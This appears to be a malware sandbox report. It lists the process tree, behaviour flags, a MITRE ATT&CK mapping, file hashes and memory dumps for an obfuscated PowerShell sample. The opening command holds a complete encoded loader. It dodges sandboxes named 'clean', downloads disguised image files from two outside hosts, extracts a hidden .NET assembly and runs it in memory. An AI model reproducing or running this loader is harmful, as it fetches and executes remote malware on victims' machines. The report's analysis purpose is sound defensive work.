  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$jghjggghhjg = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnADoALwAvACcACgAkAGIAYQBzAGUAVQByAGwAIAA9ACAAJABzAGMAaABlAG0AZQAxACAAKwAgACQAcwBjAGgAZQBtAGUAMgAKAGkAZgAgACgAKABoAG8AcwB0AG4AYQBtAGUAKQAgAC0AbABpAGsAZQAgACcAKgBjAGwAZQBhAG4AKgAnACkAIAB7AAoAIAAgACAAIABlAHgAaQB0AAoAf@QAKACQAdABhAHIAZwBlAHQAVQByAGwAcwAgAD0AIABAACgACgAgACAAIAAgACgAJABiAGEAcwBlAFUAcgBsACAAKwAgACcAegB5AG4AaQBtAGcALgBjAG8AbQAvADEALgBqAHAAZwAnACkALAAKACAAIAAgACAAKAAkAGIAYQBzAGUAVQByAGwAIAArACAAJwBrAHoAYQBhAC4AYwBvAC4AegBhAC8AMQAuAGoAcABnACcAKQAKACkACgAKACQAcgBhAHcARABhAHQAYQAgAD0AIABHAGUAdAAtAFIAZQBtAG8AdABlAEQAYQB0AGEAIAAkAHQAYQByAGcAZQB0AFUAcgBsAHMACgBpAGYAIAAoACQAcgBhAHcARABhAHQAYQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AEQAYQB0AGEAKQAKACAAIAAgACAAJABzAHQAYQByAHQAVABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgAnACAAKwAnAFQAPgA+ACcACgAgACAAIAAgACQAZQBuAGQAVABhAGcAIAAgACAAPQAgACcAPAA8AEUATgBEAD4APgAnAAoACgAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AFQAYQBnACkACgAgACAAIAAgACQAZQBuAGQAUABvAHMAIAAgACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQAVABhAGcAKQAKAAoAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AFAAbwBzACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQAUABvAHMAIAAtAGcAdAAgACQAcwB0AGEAcgB0AFAAbwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AFAAbwBzACAAKwA9ACAAJABzAHQAYQByAHQAVABhAGcALgBMAGUAbgBnAHQAaAAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQAUABvAHMAIAAtACAAJABzAHQAYQByAHQAUABvAHMACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAGgAdQBuAGsAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AFAAbwBzACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkACgAKACAAIAAgACAAIAAgACAAIAAkAGEAcwBzAGUAbQBiAGwAeQBCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACkACgAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACkACgAKACAAIAAgACAAIAAgACAAIAAkAHQAYQByAGcAZQB0AFQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAbQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApAAoAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAFYAYQBsAHUAZQAgAD0AIAAnAFYAYgBjACcACgAgACAAIAAgACAAIAAgACAAJABzAHQAcgAgAD0AIAAnADEAJwAKACAAIAAgACAAIAAgACAAIAAkAGcAZwBnACAAPQAgACcAdAB4AHQALgBkAGEAbwBsAHAAdQBlAG0AYgB1AHQAUwBf@AHQAbABpAHUAQgAvAHcAZQBuAC8AcwBlAGMAaQB2AHIAZQBzAC4AZABsAG8AcgB3AGUAaAB0AC8ALwA6AHMAIABnAHMAZgBoAGoAZwBmAHMAZgAnACAAOwAgACQAZwBnAGcAIAA9ACAAJABnAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADEAMAApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnAGcAIAAgACwAIAAkAHMAdAByACwAIAAnAFAAYQB5AG0AZQBuAHQAIABpAG4AdgBvAGkAYwBlACcALAAgACQAaQBuAGoAVgBhAGwAdQBlACwAIAAnADAAJwAsACAAJwB4ADYANAAnACkACgAgACAAIAAgACAAIAAgACAAKQAKACAAIAAgACAAf@QAKAH0A';$oWgjffuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( [regex]::replace($jghjggghhjg, 'f@','f')));iex $oWgjffuxd"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Windows\system32\HOSTNAME.EXE
    "C:\Windows\system32\HOSTNAME.EXE"
    3⤵
    PID:1500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 032a30d5e80b2e7df76b9efc77c80afbf0311d1f7ad9be2343c900ec6ded241d
MD5 fd9ee510b25a58657ff6b579a86a8d98
SHA1 c142526eb6673120ae63ade39a2e2c27995a2c58
SHA512 cc460d11bd93dd662019a5437562197b1eb54d5cbdd57431b5a2afae652584ea584f9e9184afbff74de4484429c9468f036978aacb7e8cf6ad8223466024132d
TLSH
T167115733B3CC8724CC9A403650CEAC1537B587DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ovl5cwql.yzt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovl5cwql.yzt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4272-23-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-25-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-38-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-10-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-11-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-12-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-34-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-16-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-17-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-18-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-19-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-20-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-21-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-22-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4272-26-0x0000024087C10000-0x0000024087C2A000-memory.dmp

Download

memory/4272-24-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4464-7-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4464-0-0x00007FFA0545F000-0x00007FFA05460000-memory.dmp

Download

memory/4464-5-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4464-6-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4464-4-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4464-9-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

Download

memory/4464-3-0x0000021463EA0000-0x0000021463EC2000-memory.dmp

Download